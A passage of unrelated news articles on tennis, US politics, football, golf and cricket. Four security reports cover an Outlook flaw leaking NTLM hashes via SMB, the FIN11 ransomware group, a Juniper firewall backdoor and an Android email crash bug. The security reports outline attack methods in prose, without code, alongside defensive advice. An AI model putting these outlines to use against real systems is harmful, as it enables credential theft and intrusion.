humble background, bereft of the type of money used to help manufacture many a champion. "One guy said, 'I wish it was '75, we'd skin you alive,'" Richard Williams told USA Today. "I had trouble holding back tears. I think Indian Wells disgraced America." Charlie Pasarell, then the tournament director, said in the same story that he didn't discount Richard Williams was racially abused. CNN.com did not hear back from Pasarell when it put in an interview request for him and Clijsters declined an interview request. The fans' reaction apparently stemmed from the sisters' semifinal -- or lack of it. Venus Williams pulled out a mere minutes prior to the start, citing a knee injury. Whispers of Richard Williams pre-determining the outcome grew, no doubt aided by the comments of Elena Dementieva. After Venus Williams beat Dementieva in the quarterfinals, the Russian said the sisters' father would "decide" who won.Serena Williams, who was 19 back then, ultimately passed the 'test' that day against Clijsters, judging by the result: A three-set win. Serena Williams has certainly, too, shown her mental toughness over the years, adding 18 grand slam singles titles to the one she won prior to 2001. JUST WATCHEDSerena Williams celebrates Australian Open winReplayMore Videos ...MUST WATCHSerena Williams celebrates Australian Open win 01:20But what transpired tarnished the tournament, the sport and hurt one of tennis' all-time greats to such an extent that she stayed away from Indian Wells.Until now. Serena Williams plays her first match in Indian Wells in 14 years on Friday, saying she was "following her heart" in deciding to return. In the years that have passed since 2001, Williams went from teen to young adult to veteran, all the while collecting major titles elsewhere. "It has been difficult for me to forget spending hours crying in the Indian Wells locker room after winning in 2001, driving back to Los Angeles feeling as if I had lost the biggest game ever -- not a mere tennis game but a bigger fight for equality," Serena Williams told Time.com in February. "Emotionally it seemed easier to stay away."There are some who say I should never go back. There are others who say I should've returned years ago. I understand both perspectives very well and wrestled with them for a long time."I'm just following my heart on this one." Raymond Moore, a former owner of the tournament and now its chief executive, was "elated" to have Serena Williams back in the field."In the past, the things that happened, there were no winners," Moore told CNN.com. "I think it was a terrible incident. Regrettable from all sides. Now, Serena has been able to change that. We're grateful, excited and happy and we're going to welcome her with open arms."In terms of her reception, I would like her to be here feeling that her decision was received with the greatest and warmest reception possible."But Serena Williams will be the lone Grand Slam winner in her family attending. Serena speaks about nerves before 1st match back at Indian WellsEven with the best efforts of the tournament -- now owned by billionaire Larry Ellison -- Venus Williams is continuing her boycott, as is Richard Williams, according to Moore. The siblings' mom, Oracene Price, will be alongside Serena Williams, though, added Moore. Serena Williams told reporters in Indian Wells on Thursday that her father, mother and Venus Williams gave her their blessing when she contemplated coming back to Indian Wells. "We wanted to get Venus," said Moore. "In fact we'd like to welcome the whole family. But Venus I think is not quite in the same place as Serena is. And so we've not been successful in enticing her to enter or take a wild card."But Oracene is coming and so are some other family members."Serena Williams scoffed at suggestions that the sisters' match in Indian Wells -- or any other between them -- was fixed. "Throughout my whole career, integrity has been everything to me," she told Time. "It is also everything and more to Venus. The false allegations that our matches were fixed hurt, cut and ripped into us deeply. "The under-current of racism was painful, confusing and unfair. In a game I loved with all my heart, at one of my most cherished tournaments, I suddenly felt unwelcome, alone and afraid."JUST WATCHEDUnguarded with Rachel NicholsReplayMore Videos ...MUST WATCHUnguarded with Rachel Nichols 02:54Reflecting on the incident, Bart McGuire, the chief executive of the women's tour in 2001, said Venus Williams had been suffering from a genuine injury and that the notion that Richard Williams dictated the outcome of matches between his daughters was off the mark. But he admitted things could have been handled better. Venus Williams, for example, might have explained her withdrawal to fans on court and then signed autographs, he said, citing the example of last year's World Tour Finals.Roger Federer withdrew from the final in London -- but not before he addressed fans and signed autographs. What happened in the final between Serena Williams and Clijsters was awful, said McGuire. "I thought it was horrible," he told CNN.com. "I thought it was very tough on the players. "By that time I'd known enough to know that Venus had been significantly injured and that it was not a set-up of any kind. I thought it was unfair to Serena and Kim."Serena Williams is twice a champion at the tournament and winning this year would be "fantastic," said Moore. But even if not, he added: "I think it's a wonderful ending in closing an ugly chapter. We're just looking forward, we're not looking backward."Read: Serena, hitting partner cut ties
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(CNN)President Joe Biden kicked off his term by signing out a series of immigration executive actions, moving swiftly to undo many Trump administration policies and ending the national emergency that diverted millions of dollars to the border wall.Biden outlined an ambitious immigration agenda on the campaign trail that would reverse the actions of his predecessor, vowing -- for example -- to introduce comprehensive immigration legislation and maintain programs that provide relief to immigrants living in the United States. While some changes can be jump-started through executive actions this week, other immigration policy changes will take more time.Biden administration braces for new wave of migrants as it rolls out new immigration plans"There's a long way to go. These are just executive actions," Biden told reporters Wednesday, appearing as president in the Oval Office for the first time. "But we're going to need legislation for a lot of these we're going to do."That includes the administration's immigration bill that provides a pathway to citizenship for undocumented immigrants living in the United States, modernizes the US immigration system, invests in border technology and provides aid to Central America, according to incoming White House officials. Read MorePreserve DACAThe Obama-era Deferred Action for Childhood Arrivals program, which shields undocumented immigrants who came to the US as children from deportation, has been in limbo since President Donald Trump tried to terminate the program in 2017.While the Supreme Court blocked Trump's attempt to end DACA, his administration continued to try to limit the program.Biden signed a presidential memorandum directing the Homeland Security secretary, in consultation with the attorney general, to take actions preserving the program. Biden's proposed immigration legislation will include an immediate pathway to citizenship for beneficiaries of the program. Halt border wall constructionBiden moved to end the national emergency declaration that allowed Trump to dip into additional funds for his border wall and will pause wall construction projects until further review, taking aim at a key element of Trump's legacy.The border wall, which Trump repeatedly cited over the last four years as an accomplishment, cost US taxpayers -- not Mexico, as Trump repeatedly and falsely promised -- billions and became emblematic of the former President's restrictionist immigration policies.Since January 2017, roughly $15 billion has been identified to construct around 738 miles of border wall through different funds, including those made available through Trump's declaration of a national emergency.Of the roughly 453 miles completed under Trump, the majority replaced old, dilapidated barriers with a new enhanced wall system, a marked difference from the fencing previously constructed in some regions. Forty-seven miles have gone up where no barriers previously existed, according to Customs and Border Protection.In the waning days of Trump's presidency, the White House continued to push relevant federal agencies to obligate funds available for the wall regardless of whether land has been obtained for construction, CNN previously reported -- a move seemingly intended to tie up funds prior to Biden taking office.JUST WATCHEDBorder wall construction presses on in Trump's final daysReplayMore Videos ...MUST WATCHBorder wall construction presses on in Trump's final days 05:23Reverse the travel ban on predominantly Muslim countriesTrump kicked off his presidency signing a hastily put-together executive order restricting entry into the US from predominantly Muslim countries. Biden moved to repeal those bans. Ex-DHS chief attempts to skirt legal mess to keep Trump administration's immigration policies in placeHe will also instruct the State Department to restart visa processing for affected countries and will call for a review of other Trump administration "extreme vetting" practices. Biden's immigration bill includes a provision that would limit presidential authority to issue future bans. Revoke Trump's order excluding noncitizens from the census countTrump signed a presidential memorandum last year that would exclude undocumented immigrants when splitting seats in the House of Representatives among the states. Biden signed revoked Trump's orders and will commit to presenting to Congress an apportionment that is "fair and accurate." Extend relief for LiberiansBiden signed presidential memorandum extending Deferred Enforced Departure -- a form of relief for people from countries facing unrest or natural disasters -- until June 30, 2022, for Liberians residing in the United States. Send comprehensive immigration legislation to CongressThe bill would provide an immediate pathway to citizenship for farmworkers, DACA recipients and Temporary Protected Status holders. It sketches out a plan for undocumented immigrants that would allow them to eventually apply for green cards if they pass background checks and pay taxes. The bill also aims to clear visa backlogs, improve immigration courts and authorize funding for border technology, as well as provide $4 billion in funding to increase assistance to El Salvador, Guatemala and Honduras and to set up safe and legal channels for migrants to seek protection. A group of House Democrats, led by Rep. Linda Sanchez, announced Wednesday they will lead the effort to pass Biden's immigration bill on Capitol Hill. In a narrowly-held Senate, the climb on immigration is steep especially given how far to the right Republicans have moved on the issue since the 2013 bipartisan bill. Sen. Bob Menendez will lead the bill on the Senate side. This is yet another sign of the coordinated approach the Biden administration is taking with Democratic allies on the hill to push their agenda forward. Ramp down "remain in Mexico" programMigrants arrested at the US-Mexico border will no longer be enrolled in a program requiring they remain in Mexico as their immigration hearings play out in the US, the Department of Homeland Security said Wednesday.The "remain in Mexico" program has forced thousands of people to wait in makeshift camps at the border, often in deplorable conditions. While the latest announcement marks a significant change, migrants apprehended at the southern border have largely been turned away under a public health order related to the coronavirus pandemic. Coronavirus-related border restrictions remain in place, DHS said Wednesday.Biden condemned the "remain in Mexico" policy during his campaign and is quickly moving to bring it to a halt. The change in policy doesn't affect people currently in the program. "All current MPP participants should remain where they are, pending further official information from U.S. government officials," DHS said.Revoke Trump's interior enforcement executive orderBiden revoked Trump's 2017 executive order that made all undocumented immigrants a priority for arrest by Immigration and Customs Enforcement, saying his administration will "reset the policies and practices for enforcing civil immigration laws to align enforcement with these values and priorities."Biden also called on his administration to review agency actions put in place under Trump's 2017 order and issue revised guidance.CNN's Lauren Fox contributed to this report.
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(CNN)Liverpool and Manchester City played out an exhilarating 2-2 draw in the Premier League on Sunday, in a match which saw Mohamed Salah score a magical solo goal. After a goalless first half, the game sprung into life after the break with those inside Anfield stadium treated to a breathtaking display of attacking football.Despite the visitors dominating before the break, Sadio Mané opened the scoring for Liverpool, firing home after being smartly played through by Salah. City then responded just 10 minutes after going behind with the brilliant Phil Foden arrowing an equalizer into the bottom corner of the net. With both teams fired up, the game turned into a classic and Salah put Liverpool back ahead with a stunning solo goal.Read MoreThe Egyptian displayed his world-class ability by jinking past multiple City defenders before firing his left-foot shot past goalkeeper Ederson. "I have to watch it to see," smiled Salah in his interview with Sky Sports after the game. "I think it would be more special if we won the game but it is what it is. I think it was a good goal but nothing much to say."Despite playing it down himself, it was another special moment in Salah's incredible Liverpool career but it didn't prove to be the winner with City equalizing for a second time just five minutes after. Kevin De Bruyne's shot deflected into the net off Joel Matip after more good work from Foden down the left-wing. A draw meant neither side could knock Chelsea off the top of the table, with Liverpool sitting second and City in third going into the international break. READ: Messi suffers first defeat as a PSG player as Rennes stages surpriseMohamed Salah scores his sides second goal during the Premier League match against Manchester City.Guardiola frustrated Both teams were full of admiration for each other before kick-off but the game turned into a feisty affair in the second half. City manager Pep Guardiola was left furious on the sideline when Liverpool player James Milner was not shown a second yellow card just moments before Salah scored. Milner, who had already been cautioned, appeared to trip Foden but escaped being sent off with referee Paul Tierney showing some leniency, much to the annoyance of the City bench. "It was a yellow card, it's too much clear," Guardiola told Sky Sports after the game. "But it's Anfield, like Old Trafford. In this situation, a City player would be sent off."JUST WATCHEDMido: Jurgen Klopp has done 'unbelievable' job at LiverpoolReplayMore Videos ...MUST WATCHMido: Jurgen Klopp has done 'unbelievable' job at Liverpool 02:51Earlier in the game, Milner had seemingly tripped Foden as the English forward burst into the box but Tierney had once again waved play on. Despite the controversy, the game will be remembered for both sides' attacking prowess and Salah's incredible solo effort. "If Lionel Messi scores that goal or Cristiano Ronaldo, then the whole world says: 'yes, because they are world class'," Liverpool boss Jurgen Klopp told Sky Sports after the game."Mo Salah scores that goal because he is world class. He is one of the best players in the world. That's how it is."Given his form in recent seasons, fans are desperate for the 29-year-old to sign a new contract at the club, with his current deal set to expire in 2023.Liverpool has yet to reach an agreement with the Egyptian, but former player Jamie Carragher says it's imperative the club gets the deal done. "I know the situation Liverpool are in. They don't have the finances of Manchester City when you think of the wages they give out," Carragher said when speaking as a Sky Sports pundit on Sunday. "But right now, Salah is playing as well as anyone in European football."Liverpool cannot afford to let his contract situation drag on, with the threat they could lose him in the next two years."
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A security researcher has disclosed details of an important vulnerability in Microsoft Outlook for which the company released an incomplete patch this month—almost 18 months after receiving the responsible disclosure report.
The Microsoft Outlook vulnerability (CVE-2018-0950) could allow attackers to steal sensitive information, including users' Windows login credentials, just by convincing victims to preview an email with Microsoft Outlook, without requiring any additional user interaction.
The vulnerability, discovered by Will Dormann of the CERT Coordination Center (CERT/CC), resides in the way Microsoft Outlook renders remotely-hosted OLE content when an RTF (Rich Text Format) email message is previewed and automatically initiates SMB connections.
A remote attacker can exploit this vulnerability by sending an RTF email to a target victim, containing a remotely-hosted image file (OLE object), loading from the attacker-controlled SMB server.
Since Microsoft Outlook automatically renders OLE content, it will initiate an automatic authentication with the attacker's controlled remote server over SMB protocol using single sign-on (SSO), handing over the victim's username and NTLMv2 hashed version of the password, potentially allowing the attacker to gain access to the victim's system.
"This may leak the user's IP address, domain name, username, hostname, and password hash. If the user's password is not complex enough, then an attacker may be able to crack the password in a short amount of time," the US-CERT explains.
If you are thinking, why would your Windows PC automatically hand over your credentials to the attacker's SMB server?
This is how authentication via the Server Message Block (SMB) protocol works in combination with the NTLM challenge/response authentication mechanism, as described in the following image.
Dormann reported the vulnerability to Microsoft in November 2016, and in an attempt to patch the issue, the company released an incomplete fix in its April 2018 patch Tuesday update—that's almost 18 months of the reporting.
The security patch only prevents Outlook from automatically initiating SMB connections when it previews RTF emails, but the researcher noted that the fix does not prevent all SMB attacks.
"It is important to realize that even with this patch, a user is still a single click away from falling victim to the types of attacks described above," Dormann said. "For example, if an email message has a UNC-style link that begins with "\\", clicking the link initiates an SMB connection to the specified server."
If you have already installed the latest Microsoft patch update, that's great, but attackers can still exploit this vulnerability. So, Windows users, especially network administrators at corporates, are advised to follow the below-mentioned steps to mitigate this vulnerability.
Apply the Microsoft update for CVE-2018-0950, if you have not yet.
Block specific ports (445/tcp, 137/tcp, 139/tcp, along with 137/udp and 139/udp) used for incoming and outgoing SMB sessions.
Block NT LAN Manager (NTLM) Single Sign-on (SSO) authentication.
Always use complex passwords, that cannot be cracked easily even if their hashes are stolen (you can use password managers to handle this task).
Most important, don't click on suspicious links provided in emails.
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(CNN)If any footballers are looking for inventive goal celebrations, their children might just be the best source of inspiration if the example set by Mohamed Salah is anything to go by. It is almost a year to the day since he was opening the scoring for Liverpool in its Champions League final victory over Tottenham Hotspur. On June 1, 2019, the Egypt international scored for the Merseyside club from the penalty spot in the second minute, with Divock Origi doubling the lead late on to wrap up the club's sixth European Cup success with a 2-0 win. After being mobbed by the rest of his teammates in celebration, Salah looked down the barrel of one of the many cameras in the Wanda Metropolitano Stadium for his own, special celebration. Salah celebrates after scoring the opening goal during the UEFA Champions League final in 2019.He twisted his fingers in front of his face before placing one on each side of his nose while sticking his tongue out.Read MoreAnd with the one-year anniversary of that special night in Madrid approaching, Salah sat alongside his eldest daughter, Makka, for an online interview with a group of children and revealed the unique celebration was her idea. When asked by one of the girls what his favorite celebration is, Salah turned to Makka and asked her, "Do you know how we celebrated in the final? When I scored the goal?" In response, the five-year-old reproduced Salah's celebration perfectly. "You'll find this in the final of the Champions League where Makka told me before the match to make this move/sign if I scored, so that's why I did it," the 27-year-old said.READ: No surprise if Africans choose MLS over Europe because of 'awful' racism, says Uganda's Micheal AziraSalah celebrates with his daughter Makka after his side won during the UEFA Champions League Final.'I'm happy the girls in Egypt started to take their right to play football'Salah says his daughter "loves to play football."He added that Makka "hasn't been to any clubs" yet, but as a long-term advocate for women's rights in the Middle East, it's something he would embrace.In 2019, speaking to CNN's Becky Anderson, Salah said: "The woman has to get her right in the Middle East."First of all, we have to accept that there is a problem. I know it's very difficult to accept that. But 100% the problem is running deep and deep and deep."And the second thing, my opinion is the woman has a right to talk about anything she doesn't like. I'm talking about myself; I want when my daughter has a problem, she has to feel like support from me to come to talk to me about the problem. The most important thing is the fear."The woman, the wife, fear from her husband, from her father, which that's the main point, I think. The fear is not healthy for anyone ... We have to fix that."Salah raises the Champions League trophy. Stay confidentAnd after being asked by a girl in the online interview for his tips to becoming a good player, the Liverpool forward offered encouragement to girls everywhere. "There isn't anything specific I would be able to tell you that will make you a good player, but if you have a dream that you want to make true, just stay confident that you're going to make it true -- that's the thing that will push you forward. "So if you want to grow up and become a football player, it's going to be hard and in some communities it might be a little complicated for people to accept a girl to play football, but as long as you have a dream you want to make true, just hold on to it and work on it and I'm sure you're going to make it. Visit CNN.com/sport for more news, features, and videos"I'm just happy that the girls in Egypt started to take their right to play football. Every one of you has a dream; keep holding onto it and stay confident that you'll make it."
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A financially-motivated threat actor known for its malware distribution campaigns has evolved its tactics to focus on ransomware and extortion.
According to FireEye's Mandiant threat intelligence team, the collective — known as FIN11 — has engaged in a pattern of cybercrime campaigns at least since 2016 that involves monetizing their access to organizations' networks, in addition to deploying point-of-sale (POS) malware targeting financial, retail, restaurant, and pharmaceutical sectors.
"Recent FIN11 intrusions have most commonly led to data theft, extortion and the disruption of victim networks via the distribution of CLOP ransomware," Mandiant said.
Although FIN11's activities in the past have been tied to malware such as FlawedAmmyy, FRIENDSPEAK, and MIXLABEL, Mandiant notes significant overlap in TTPs with another threat group that cybersecurity researchers call TA505, which is behind the infamous Dridex banking Trojan and Locky ransomware that's delivered through malspam campaigns via the Necurs botnet.
It's worth pointing that Microsoft orchestrated the takedown of the Necurs botnet earlier this March in an attempt to prevent the operators from registering new domains to execute further attacks in the future.
High-Volume Malspam Campaigns
FIN11, in addition to leveraging a high-volume malicious email distribution mechanism, has expanded its targeting to native language lures coupled with manipulated email sender information, such as spoofed email display names and email sender addresses, to make the messages appear more legitimate, with a strong bent towards attacking German organizations in their 2020 campaigns.
For instance, the adversary triggered an email campaign with email subjects such as "research report N-[five-digit number]" and "laboratory accident" in January 2020, followed by a second wave in March using phishing emails with the subject line "[pharmaceutical company name] 2020 YTD billing spreadsheet."
"FIN11's high-volume email distribution campaigns have continually evolved throughout the group's history," Andy Moore, senior technical analyst at Mandiant Threat Intelligence, told The Hacker News via email.
"Although we have not independently verified the connection, there is substantial public reporting to suggest that until sometime in 2018, FIN11 relied heavily on the Necurs botnet for malware distribution. Notably, observed downtime of the Necurs botnet has directly corresponded to lulls in the activity we attribute to FIN11."
Indeed, as per Mandiant's research, FIN11's operations appear to have ceased entirely from mid-March 2020 through late May 2020, before picking up again in June via phishing emails containing malicious HTML attachments to deliver malicious Microsoft Office files.
The Office files, in turn, made use of macros to fetch the MINEDOOR dropper and the FRIENDSPEAK downloader, which then dispatched the MIXLABEL backdoor on the infected device.
A Shift to Hybrid Extortion
In recent months, however, FIN11's monetization efforts have resulted in a number of organizations infected by CLOP ransomware, in addition to resorting to hybrid extortion attacks — combining ransomware with data theft — in a bid to force businesses into acquiescing to extortion payments that range from a few hundred thousand dollars up to 10 million dollars.
"FIN11's monetization of intrusions via ransomware and extortion follows a broader trend among financially motivated actors," Moore said.
"Monetization strategies that have been more common historically, such as the deployment of point-of-sale malware, limit criminals to targeting victims in certain industries, whereas ransomware distribution can allow actors to profit from an intrusion into the network of nearly any organization.
That flexibility, in combination with increasingly frequent reports of ballooning ransom payments, makes it an extremely attractive scheme for financially motivated actors," he added.
What's more, FIN11 is purported to have made use of a wide variety of tools (e.g., FORKBEARD, SPOONBEARD, and MINEDOOR) purchased from underground forums, thereby making attribution difficult or accidentally conflating activities of two disparate groups based on similar TTPs or indicators of compromise.
An Actor of Likely CIS Origin
As for the roots of FIN11, Mandiant stated with "moderate confidence" that the group operates out of the Commonwealth of Independent States (CIS) owing to the presence of Russian-language file metadata, avoidance of CLOP deployments in CIS countries, and the dramatic fall in activity coinciding the Russian New Year and Orthodox Christmas holiday period between January 1-8.
"Barring some sort of disruption to their operations, it is highly likely that FIN11 will continue to attack organizations with an aim to deploy ransomware and steal data to be used for extortion," Moore said.
"As the group has regularly updated their TTPs to evade detections and increase the effectiveness of their campaigns, it is also likely that these incremental changes will continue. Despite these changes, however, recent FIN11 campaigns have consistently relied on the use of macros embedded in malicious Office documents to deliver their payloads."
"Along with other security best practices, organizations can minimize the risk of being compromised by FIN11 by training users to identify phishing emails, disabling Office macros, and implementing detections for the FRIENDSPEAK downloader."
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(CNN)Bryson DeChambeau's much vaunted challenge for the Masters fell victim to a lost ball and a string of errant shots as fellow Americans Dustin Johnson and Justin Thomas were in a four-way tie for the clubhouse lead at Augusta National on Friday.The 2020 US Open champion raised eyebrows in the pre-tournament buildup by suggesting that a five-under 67 would be his personal par on the famous course because his awesome length off the tee made the longer holes easier to reach for him.But a slightly wayward tee shot proved his undoing early in his second round as he ran up a triple bogey seven on the par-4 third hole.READ: Lack of patrons may help me says DeChambeauLooking poised to mount a challenge after picking up a birdie on the par-5 second to move to three under, disaster followed as his booming drive missed the fairway by about 10 meters and appeared to nestle in some testing rough.Read MoreUnable to find his ball, despite help from playing partners Jon Rahm and Louis Oosthuizen, DeChambeau also asked officials to check the TV coverage, but to no avail as the permitted three minutes to find it passed.Bryson DeChambeau rides in a cart with a rules official after playing his second tee shot on the third hole where he ran up a disastrous triple bogey.There was no alternative than to make a journey by golf cart back to the tee to hit another drive, but he could not retrieve the damage after more sloppy play.Two more bogeys followed in quick succession to leave his round in tatters and with real danger that he would miss the cut -- projected to be a level par -- maybe a shot lower-- as he slipped to two-over-par.However, his power play did achieve dividends at the long par-5 eighth and he stood one-over after 12 with an eagle chance looming on the 13th when he walked off the course when the fading light brought an end to the second day's play. Forty-eight players must still complete the round.Tiger Woods also has ground to make up after failing to progress from his first round four-under mark through the 10 holes he completed before play was halted.Tiger Woods of the United States lines up a putt on the third green during the second round of the Masters.Woods looked set to get close to the leaders when he birdied the second hole, nearly holing his bunker shot for an eagle, but he missed a short par putt on the next as his momentum stalled and a further dropped shot on the seventh took him back to three-under.Woods is hoping he can take advantage of birdie opportunities on the back nine at Augusta when he resumes his second round on Saturday morning.Earlier, world number one Dustin Johnson completed his first round in seven-under 65 before making a fast start around Amen Corner in his second, reaching 10-under at one point.However, mistakes followed and he needed a timely birdie on the ninth, his final hole, to card a 70 and join Thomas, Abraham Ancer of Mexico and Cameron Smith of Australia in the clubhouse at 135 -- nine-under-par.Dustin Johnson watches his tee shot on the 14th hole during the second round of the Masters golf tournament.Thomas, the 2017 PGA champion, also had to finish strongly with two straight birdies for a 69 to revive his challenge, while Ancer and Smith carded 67 and 68, respectively, to be firmly in the mix at halfway.Visit CNN.com/sport for more news, features, and videosTrailing by just one is rising young South Korean star Sungjae Im, alongside Patrick Cantlay of the US, who shot a joint-best of the second round 66.Rahm through 12 holes and Hideki Matsuyama after 15 were also on that mark ahead of completing their rounds.Danny Willett, who has missed the cut at Augusta every time since his 2016 triumph, also shot 66 having started with a double bogey, racking up six birdies and an eagle to reach 137-- seven-under-par.Two other Englishman, Tommy Fleetwood, another player taking route 66, and Justin Rose completed the group at seven-under in the clubhouse.Rory McIlroy bids to join golf's greats with career grand slam at MastersRory McIlroy, seeing his hopes of a career Grand Slam of majors derailed by a sorry opening round 75, gave himself an outside chance of mounting a challenge with a 66 for three-under-par 141."I've been playing so good coming in here, and then I go into the first round and I shoot 75," McIlroy said."I'm like, 'Where the hell did that come from?'"He is on the same mark as 63-year-old Bernhard Langer, twice a Masters winner and a prolific winner on the Champions Tour for players over 50.Three-time Masters winner Phil Mickelson has recently joined the Champions Tour, winning on his debut, and is also still in the hunt for another Green Jacket after a 70 for five-under, four off the clubhouse lead.
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(CNN)Could lights previously used to grow cannabis help England roll over Australia in one of cricket's greatest rivalries?Ahead of the third Ashes Test on Wednesday, ground staff at Edgbaston, Birmingham in central England have been heating the outfield with lamps donated to them by local police.Follow @cnnsport
"Thirty-six unused, boxed heat lamps were confiscated from a cannabis farm and donated to Warwickshire County Cricket Club (WCCC) to stimulate grass growth," said a statement from West Midlands Police, which delivered the lighting largesse to WCCC last year."The lights -- fixed to a mobile structure so they can be wheeled out onto the Edgbaston pitch -- were used throughout the winter to heat up the soil and replicate warmer conditions."Similarly powerful lamps are used by a number of British football clubs to maintain optimum pitch conditions, but they don't come cheap.Read More"We're really grateful for the donation," said WCCC head groundsman Gary Barwell at the time of delivery. "Many top-level football clubs with large budgets use lamps like these on a far grander scale but in country cricket where finances are tighter gestures like this are very welcome."Remember this? @ShaneWarne's magic ball to Andrew Strauss during the '05 #Ashes Test at Edgbaston: https://t.co/Bh0MJQk3Fc @CricketAus— Lord's Ground (@HomeOfCricket) July 28, 2015
However, England fans hoping the lamps might light up the home side to take a 2-1 lead in the series shouldn't hold their breath."There's no correlation between using the lamps and a home team victory for Warwickshire or Birmingham Bears," a WCCC spokesman told CNN.With play due to commence Wednesday morning under sunny conditions, a dry outfield could mean more boundaries and more runs for the team batting first.However, with rain scheduled for the afternoon session and the fourth day on Saturday, the ground staff may need to keep wheeling out the heat lamps to dry the surface.
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(CNN)President Joe Biden will travel to Europe next week to meet with world leaders and discuss Russia's invasion of Ukraine, White House press secretary Jen Psaki said Tuesday. The President will travel to Brussels, Belgium, to participate in a NATO summit on March 24 and will also join a European Council meeting, Psaki told reporters at a White House briefing. The trip, which will be one of the most closely watched visits to Europe by an American president in decades, comes weeks after Russia launched an unprovoked attack on Ukraine. Biden will "discuss ongoing deterrence and defense efforts," during the NATO summit and reaffirm the US' commitment to its NATO allies, Psaki said."He will also join a scheduled European Council summit to discuss our shared concerns about Ukraine, including trans-Atlantic efforts to impose economic costs on Russia, provide humanitarian support to those affected by the violence and address other challenges related to the conflict," she said. Psaki noted the President is a "big believer in face-to-face diplomacy," and his goal is to meet with European counterparts in person to discuss "where we are at this point" with regard to the invasion. Read More"We've been incredibly aligned to date -- that doesn't happen by accident," Psaki said. NATO Secretary General Jens Stoltenberg tweeted earlier on Tuesday: "I have convened an extraordinary Summit on 24 March at #NATO HQ. We will address #Russia's invasion of #Ukraine, our strong support for Ukraine, and further strengthening NATO's deterrence & defence. At this critical time, North America & Europe must continue to stand together."CNN had previously reported White House officials were discussing about having Biden travel to Europe and that Poland could be a stop. American and European officials are discussing potential announcements for Western leaders to make at the summit, according to people familiar with the plans, though as of right now there is no agreement on "deliverables" to come from the crisis talks.Biden hopes to use the session to illustrate Western unity amid Russia's invasion of Ukraine, and having a major announcement could help underscore cooperation among the allies. But one European official said the discussions haven't yet settled on a single decision or takeaway for the summit to produce.Major items that Ukraine wants, like establishing a no-fly zone or providing fighter jets, appear for now off the table. That means any announcement coming out of the meetings would likely focus more on ramping up smaller-scale assistance that's already being provided, financial aid or new sanctions on Russia.Russia on Sunday fired missiles and hit a large military base close to the Polish border, reportedly killing dozens of people. Poland is a NATO ally, and the military base has held joint drills with NATO and other Western military personnel.The trip would come on the heels of visits by several top Biden aides, including Vice President Kamala Harris and Secretary of State Antony Blinken. The prime ministers of Poland, Slovenia and the Czech Republic are traveling to Kyiv on Tuesday to meet Ukrainian President Volodymyr Zelensky.Fatalities were reported after shelling hit buildings in residential areas across Kyiv on Tuesday morning, according to Ukrainian authorities. New satellite images show widespread destruction across Ukraine, including damaged houses in a village near Kyiv and smoldering homes in the besieged city of Mariupol, where more than 2,500 civilians have died, Ukrainian officials estimate.Zelensky is scheduled to deliver a virtual address on Wednesday to members of Congress. During their most recent phone call, Zelensky pressed Biden for more sanctions to further squeeze Russia, CNN has reported. The Ukrainian President asked Biden to ramp up efforts to cut Russia off from international trade and continue to target the Russian elite. Zelensky has also called for the US and NATO to establish a no-fly zone over Ukraine. But Blinken and Stoltenberg have both said such a move is not realistic and could lead to a direct conflict between Russia and NATO.This story has been updated with additional information.
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Juniper Networks has announced that it has discovered "unauthorized code" in ScreenOS, the operating system for its NetScreen firewalls, that could allow an attacker to decrypt traffic sent through Virtual Private Networks (VPNs).
It's not clear what caused the code to get there or how long it has been there, but the release notes posted by Juniper suggest the earliest buggy versions of the software date back to at least 2012 and possibly earlier.
The backdoor impacts NetScreen firewalls using ScreenOS 6.2.0r15 through 6.2.0r18 and 6.3.0r12 through 6.3.0r20, states the advisory published by the company. However, there's no evidence right now that whether the backdoor was present in other Juniper OSes or devices.
The issue was uncovered during an internal code review of the software, according to Juniper chief information officer Bob Worrall, and requires immediate patching by upgrading to a new version of the software just released today.
"Juniper discovered unauthorized code in ScreenOS that could allow a knowledgeable attacker to gain administrative access to NetScreen devices and to decrypt VPN connections," Worrall said.
How Does the Backdoor Occur?
The backdoor occurred due to a pair of critical vulnerabilities:
First allows anyone to decrypt VPN traffic and leave no trace of their actions
Second allows anyone to complete compromise a device via an unauthorized remote access vulnerability over SSH or telnet.
In short, an attacker could remotely log-in to the firewall with administrator privileges, decrypt and spy on thought-to-be-secure traffic, and then even remove every trace of their activity.
Sounds awful, although Juniper claims the company has not heard of any exploitation in the wild so far and released patched versions of Screen OS that are available now on its download page.
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A vulnerability has been discovered in the wildly popular Google's Stock Android Email App, that could be exploited by malicious attackers to remotely crash your smartphone application just by sending a specially crafted email.
A Spain security researcher, Hector Marco, successfully exploited the vulnerability on his Samsung Galaxy S4 Mini running version 4.2.2.0200 of Stock Android Email App. He said the flaw appears to affect all older versions of Stock Android Email App, though devices running 4.2.2.0400 and newer versions are not affected.
According to the researcher, when the victim receives the malicious email and tries to view it, the email app crashes. Further attempts to open the email again triggers a crash in the application before the victim can do anything.
The flaw (CVE-2015-1574) is due to incorrect handling of the Content-Disposition header. Hackers could exploit the vulnerability by sending an email with a malformed Content-Disposition header to the targeted user in order to cause email application crash.
The only way to get rid of this crash issue is to remove the malicious email from the Stock Android Email App.
"Since the application crashes immediately, [and the] easiest and straightforward way to remove [the issue] is by using other email client (or via web) from the inbox at the email server," Marco explained in a blog post. "Another way is by disabling the internet connection (Airplane mode) before launching the email reader, and then you can remove the offending email."
However, removing the malicious email from the app's inbox is only a temporary solution because the attackers can send as many malicious email as they want, Marco noted.
For proof-of-concept (PoC) demonstration, Marco publishes a python exploit code on Tuesday, and explained how sending a specially crafted email to a targeted user can crash victim's email application.
So far, there are no reports that Marco's exploit also works on iOS or other platform users. But the vulnerability affects a majority of Android smartphone users as the version of Stock Email App from Google comes pre-installed on the official versions of Android.
It isn't clear whether the vulnerability has been reported to Google. Users can upgrade their email Android application to 4.2.2.0400 or higher in order to protect themselves, but only those users who have option to upgrade.
Unfortunately the upgradation is not possible in all Android versions. Marco said his current Samsung Galaxy 4 mini was fully updated and is vulnerable to this attack, because no higher versions to 4.2.2.0200 are available for his device.
